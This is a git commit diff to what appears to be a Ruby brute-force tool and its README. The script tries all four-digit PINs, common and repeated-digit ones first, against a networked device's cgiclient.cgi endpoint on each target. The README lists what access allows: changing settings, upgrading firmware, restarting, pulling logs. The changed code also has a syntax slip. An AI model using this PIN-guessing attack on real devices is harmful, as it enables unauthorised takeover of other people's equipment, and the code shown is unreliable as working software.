fixing a logic bug when proritizing PINs
This commit is contained in:
parent
ef0df03636
commit
fc2a9ac4af
@ -30,7 +30,6 @@ name | description
|
|||||||
* DHCP, NTP settings
|
* DHCP, NTP settings
|
||||||
* name displayed
|
* name displayed
|
||||||
* etc
|
* etc
|
||||||
|
|
||||||
* upgrade firmware - need to do more digging here
|
* upgrade firmware - need to do more digging here
|
||||||
* restart device
|
* restart device
|
||||||
* pull logs/configuration
|
* pull logs/configuration
|
||||||
|
@ -70,27 +70,37 @@ elsif mode.eql?(:range)
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
pins = 9999.downto(0).to_a
|
_pins = Hash.new
|
||||||
|
9999.downto(0).to_a each do |i|
|
||||||
|
_pins[i] = 1
|
||||||
|
end
|
||||||
|
|
||||||
prioritized = [1234, 2546, 1739, 9876, 1425, 4152] # commonly used PINs
|
prioritized = [1234, 2546, 1739, 9876, 1425, 4152] # commonly used PINs
|
||||||
|
|
||||||
|
# TODO come up with way to generate patterns - keys that are nearby
|
||||||
|
|
||||||
# commonly used PINs that follow a pattern
|
# commonly used PINs that follow a pattern
|
||||||
0.upto(9) do |i|
|
0.upto(9) do |i|
|
||||||
prioritized << i * 1111
|
prioritized << i * 1111
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# TODO this is broken, once we delete/add, we change the order.. use a set instead? could go poor man hash style..
|
||||||
prioritized.each do |p|
|
prioritized.each do |p|
|
||||||
pins.delete(p)
|
_pins.delete(p)
|
||||||
pins.unshift(p)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
pins = [ prioritized, _pins.keys ].flatten # hackery
|
||||||
|
|
||||||
targets.each do |target|
|
targets.each do |target|
|
||||||
|
|
||||||
|
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target)
|
||||||
|
puts sprintf('url: [%s]', url)
|
||||||
|
|
||||||
pins.each do |i|
|
pins.each do |i|
|
||||||
|
|
||||||
pin = sprintf('%04d', i)
|
pin = sprintf('%04d', i)
|
||||||
|
|
||||||
begin
|
begin
|
||||||
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target)
|
|
||||||
puts sprintf(' trying pin[%s]', pin)
|
puts sprintf(' trying pin[%s]', pin)
|
||||||
|
|
||||||
response = check_pin(url, pin)
|
response = check_pin(url, pin)
|
||||||
|
Loading…
Reference in New Issue
Block a user